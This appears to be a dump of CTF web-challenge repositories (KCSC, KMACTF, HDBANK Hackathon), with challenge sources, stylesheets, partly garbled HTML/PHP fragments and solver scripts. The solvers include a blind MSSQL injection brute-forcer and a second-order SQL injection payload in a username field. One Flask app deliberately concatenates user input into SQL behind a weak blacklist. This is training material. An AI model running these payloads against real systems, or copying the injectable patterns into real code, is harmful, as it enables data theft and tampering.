Please try again!'))) 35 | // .catch((e) => res.send(response(e))) 36 | 37 | } 38 | return res.status(403).json(response('Please submit a valid URL!')); 39 | } 40 | return res.status(403).json(response('Missing required parameters!')); 41 | }); 42 | 43 | 44 | module.exports = database => { 45 | return router; 46 | }; -------------------------------------------------------------------------------- /KCSC Birthday 2021/happy_birthday_KCSC/src/index.php: -------------------------------------------------------------------------------- 1 | getData(); 11 | $output = "Report successfully!!"; 12 | } 13 | 14 | ?> 15 | 16 | 17 | 18 | 19 |
23 |
24 |
31 |
32 |
33 |
34 |
35 |
--------------------------------------------------------------------------------
/HDBANK Hackathon 2025/GalaxyNote/solution/exploit.py:
--------------------------------------------------------------------------------
1 | import requests
2 | import string
3 |
4 | session = requests.Session()
5 | session.verify = False
6 |
7 | url = "http://localhost:3000/search"
8 |
9 | if __name__ == "__main__":
10 | # Brute-force the password character by character
11 | result = ""
12 | #query = "select DB_NAME()" #-> hackathon
13 | #query = "SELECT name FROM hackathon..sysobjects WHERE xtype=0x55 ORDER BY name OFFSET 1 ROWS FETCH NEXT 1 ROWS ONLY"
14 | #query = "SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = CAST(0x666c6167 AS VARCHAR(4)) )" # flag
15 | query = "SELECT flag from flag" # flag
16 | index = 1
17 | charset = string.ascii_letters + string.digits + string.punctuation
18 | while True:
19 | found_char = False
20 | for char in charset:
21 | print(f"Trying character: {char} at position {index}")
22 | payload = f"(select 1 where 1=(select iif(ascii(substring(({query}),{index},1))={ord(char)}, 3, @@version)))"
23 | data = {
24 | "search": "test",
25 | "created_by": "",
26 | "order_by": payload
27 | }
28 | response = session.post(url, data=data)
29 | if response.status_code == 200:
30 | result += char
31 | print(f"Found character: {char}, Current result: {result}")
32 | found_char = True
33 | index += 1
34 | break
35 | if not found_char:
36 | print("Final result:", result)
37 | print("Data extraction complete.")
38 | break
39 |
--------------------------------------------------------------------------------
/KMACTF 2022 - 3rd/Yugioh Shop/src/static/css/profile.css:
--------------------------------------------------------------------------------
1 | body{
2 | background:#eee;
3 | }
4 |
5 | .card{
6 | border:none;
7 |
8 | position:relative;
9 | overflow:hidden;
10 | border-radius:8px;
11 | cursor:pointer;
12 | }
13 |
14 | .card:before{
15 |
16 | content:"";
17 | position:absolute;
18 | left:0;
19 | top:0;
20 | width:4px;
21 | height:100%;
22 | background-color:#E1BEE7;
23 | transform:scaleY(1);
24 | transition:all 0.5s;
25 | transform-origin: bottom
26 | }
27 |
28 | .card:after{
29 |
30 | content:"";
31 | position:absolute;
32 | left:0;
33 | top:0;
34 | width:4px;
35 | height:100%;
36 | background-color:#8E24AA;
37 | transform:scaleY(0);
38 | transition:all 0.5s;
39 | transform-origin: bottom
40 | }
41 |
42 | .card:hover::after{
43 | transform:scaleY(1);
44 | }
45 |
46 |
47 | .fonts{
48 | font-size:11px;
49 | }
50 |
51 | .social-list{
52 | display:flex;
53 | list-style:none;
54 | justify-content:center;
55 | padding:0;
56 | }
57 |
58 | .social-list li{
59 | padding:10px;
60 | color:#8E24AA;
61 | font-size:19px;
62 | }
63 |
64 |
65 | .buttons button:nth-child(1){
66 | border:1px solid #8E24AA !important;
67 | color:#8E24AA;
68 | height:40px;
69 | }
70 |
71 | .buttons button:nth-child(1):hover{
72 | border:1px solid #8E24AA !important;
73 | color:#fff;
74 | height:40px;
75 | background-color:#8E24AA;
76 | }
77 |
78 | .buttons button:nth-child(2){
79 | border:1px solid #8E24AA !important;
80 | background-color:#8E24AA;
81 | color:#fff;
82 | height:40px;
83 | }
--------------------------------------------------------------------------------
/KCSC Birthday 2021/happy_birthday_KCSC/src/login.php:
--------------------------------------------------------------------------------
1 | prepare('SELECT * FROM users WHERE username=? and password=? limit 0,1');
9 | $stmt->bind_param("ss", $username, $password);
10 | $stmt->execute();
11 | $result = $stmt->get_result();
12 |
13 | if ($user = $result->fetch_assoc()['username']) {
14 | $_SESSION['user'] = 'admin';
15 | header('Location: /admin');
16 | }
17 | else
18 | $output = "Try again!!";
19 |
20 | $stmt->close();
21 | }
22 | ?>
23 |
24 |
25 |
26 |
27 |
28 | Link report
25 | 26 | 30 |
32 |
40 |
41 |
42 |
43 |
--------------------------------------------------------------------------------
/HDBANK Hackathon 2025/TheOldTrick/challenge/src/views/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Login form
33 | 34 | 39 |
49 |
62 |
63 |
64 |
--------------------------------------------------------------------------------
/KMACTF 2022 - 2nd/inject me/src/app.py:
--------------------------------------------------------------------------------
1 | from flask import Flask, render_template, render_template_string, request
2 | import sqlite3
3 | import re
4 |
5 | app = Flask(__name__)
6 | HOST = "0.0.0.0"
7 | PORT = 80
8 | DATABASE = "database/database.db"
9 |
10 | def get_db():
11 | conn = sqlite3.connect(DATABASE)
12 | conn.row_factory = sqlite3.Row
13 | return conn
14 |
15 | def init_db():
16 | conn = get_db()
17 | with open('database/schema.sql', 'r') as f:
18 | conn.executescript(f.read())
19 | conn.close()
20 | return
21 |
22 | def waf(str):
23 | if (len(str)) > 85 or "union" in str.lower():
24 | return False
25 |
26 | black_list = ["'", '"', '*', '\\', '/', '#', ';', '-']
27 | for c in black_list:
28 | if c in str:
29 | str = str.replace(c, "")
30 |
31 | return str
32 |
33 | @app.route('/')
34 | def home():
35 | return render_template('index.html')
36 |
37 | @app.route('/query',methods = ['GET'])
38 | def addrec():
39 | if request.args.get("query") != "":
40 | query = request.args.get("query")
41 |
42 | query = waf(query)
43 |
44 | if query == False:
45 | return render_template_string("Dont cheat my fen =))")
46 | else:
47 | try:
48 | cur = get_db().execute('SELECT msg FROM ' + query + ' where msg like "MSG-%" and msg not like "%KMACTF{%" limit 1')
49 | result = cur.fetchall()
50 |
51 | if len(result) == 0:
52 | return render_template_string("No result")
53 |
54 | cur.close()
55 | return render_template("index.html", result = result)
56 | except:
57 | return render_template_string("Something went wrong")
58 |
59 | @app.route('/source')
60 | def source():
61 | source = open(__file__, "r")
62 | return render_template("source.html", source = source.read())
63 |
64 | if __name__ == '__main__':
65 | init_db()
66 | app.run(HOST, PORT, debug=True)
--------------------------------------------------------------------------------
/KMACTF 2022 - 3rd/Yugioh Shop/src/static/css/register.css:
--------------------------------------------------------------------------------
1 | body {
2 | color: #fff;
3 | background: #19aa8d;
4 | font-family: 'Roboto', sans-serif;
5 | }
6 | .form-control, .form-control:focus, .input-group-addon {
7 | border-color: #e1e1e1;
8 | }
9 | .form-control, .btn {
10 | border-radius: 3px;
11 | }
12 | .signup-form {
13 | width: 390px;
14 | margin: 0 auto;
15 | padding: 30px 0;
16 | }
17 | .signup-form form {
18 | color: #999;
19 | border-radius: 3px;
20 | margin-bottom: 15px;
21 | background: #fff;
22 | box-shadow: 0px 2px 2px rgba(0, 0, 0, 0.3);
23 | padding: 30px;
24 | }
25 | .signup-form h2 {
26 | color: #333;
27 | font-weight: bold;
28 | margin-top: 0;
29 | }
30 | .signup-form hr {
31 | margin: 0 -30px 20px;
32 | }
33 | .signup-form .form-group {
34 | margin-bottom: 20px;
35 | }
36 | .signup-form label {
37 | font-weight: normal;
38 | font-size: 13px;
39 | }
40 | .signup-form .form-control {
41 | min-height: 38px;
42 | box-shadow: none !important;
43 | }
44 | .signup-form .input-group-addon {
45 | max-width: 42px;
46 | text-align: center;
47 | }
48 | .signup-form input[type="checkbox"] {
49 | margin-top: 2px;
50 | }
51 | .signup-form .btn{
52 | font-size: 16px;
53 | font-weight: bold;
54 | background: #19aa8d;
55 | border: none;
56 | min-width: 140px;
57 | }
58 | .signup-form .btn:hover, .signup-form .btn:focus {
59 | background: #179b81;
60 | outline: none;
61 | }
62 | .signup-form a {
63 | color: #fff;
64 | text-decoration: underline;
65 | }
66 | .signup-form a:hover {
67 | text-decoration: none;
68 | }
69 | .signup-form form a {
70 | color: #19aa8d;
71 | text-decoration: none;
72 | }
73 | .signup-form form a:hover {
74 | text-decoration: underline;
75 | }
76 | .signup-form .fa {
77 | font-size: 21px;
78 | }
79 | .signup-form .fa-paper-plane {
80 | font-size: 18px;
81 | }
82 | .signup-form .fa-check {
83 | color: #fff;
84 | left: 17px;
85 | top: 18px;
86 | font-size: 7px;
87 | position: absolute;
88 | }
--------------------------------------------------------------------------------
/HDBANK Hackathon 2025/NinjaStore/solver/solve.py:
--------------------------------------------------------------------------------
1 | import requests
2 |
3 | base_url = "http://10.0.2.182:20108"
4 | session = requests.Session()
5 | session.verify = False
6 | # session.proxies = {"http": "http://localhost:8080", "https": "http://localhost:8080"}
7 |
8 | def send_post_request(endpoint, data, cookies=None):
9 | url = f"{base_url}{endpoint}"
10 | response = session.post(url, data=data, cookies=cookies)
11 | if response.status_code != 200:
12 | exit(f"Error: Received status code {response.status_code} for endpoint {endpoint}")
13 | session.cookies.clear()
14 | return response
15 |
16 | if __name__ == "__main__":
17 | user = 'cc'
18 | password = 'Abcd@1234'
19 | payload = f"{user}' into @_-- -"
20 | cookies = {
21 | "PHPSESSID": "6e43211e0076d0e1b63f5d00a11403f1"
22 | }
23 |
24 | response = send_post_request("/register.php", {
25 | "username": user,
26 | "password": password,
27 | "fullname": "1347"
28 | })
29 | print(f'Registered user {user} with password {password}')
30 |
31 | response = send_post_request("/register.php", {
32 | "username": payload,
33 | "password": password,
34 | "fullname": "fooo"
35 | }, cookies=cookies)
36 | print(f'Registered user {payload} with password {password}')
37 |
38 | login = send_post_request("/login.php", {
39 | "username": payload,
40 | "password": password
41 | }, cookies=cookies)
42 | print(f'Logged in as {payload} with cookie: {login.cookies}')
43 |
44 | # Cheat to get the flag
45 | response = session.get(f"{base_url}/profile.php?new_balance=@_", cookies=cookies)
46 | if response.status_code != 200:
47 | exit(f"Error: Received status code {response.status_code} for endpoint {endpoint}")
48 |
49 | # Buy naruto to decrease -10pts
50 | response = session.get(f"{base_url}/index.php?buy=naruto", cookies=cookies)
51 | if response.status_code != 200:
52 | exit(f"Error: Received status code {response.status_code} for endpoint {endpoint}")
53 |
54 | # Buy flag
55 | response = session.get(f"{base_url}/index.php?buy=flag", cookies=cookies)
56 | if response.status_code != 200:
57 | exit(f"Error: Received status code {response.status_code} for endpoint {endpoint}")
58 | print(response.text)
--------------------------------------------------------------------------------
/HDBANK Hackathon 2025/TheOldTrick/challenge/src/views/profile.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Xin chào, 👋
50 | Ngài! Flag của ngài đây: "; 53 | system("/readflag"); 54 | } 55 | ?> 56 |Quote của bạn:
57 | 58 |
59 | Đăng xuất
60 |
61 |
65 |
86 |
87 |
88 |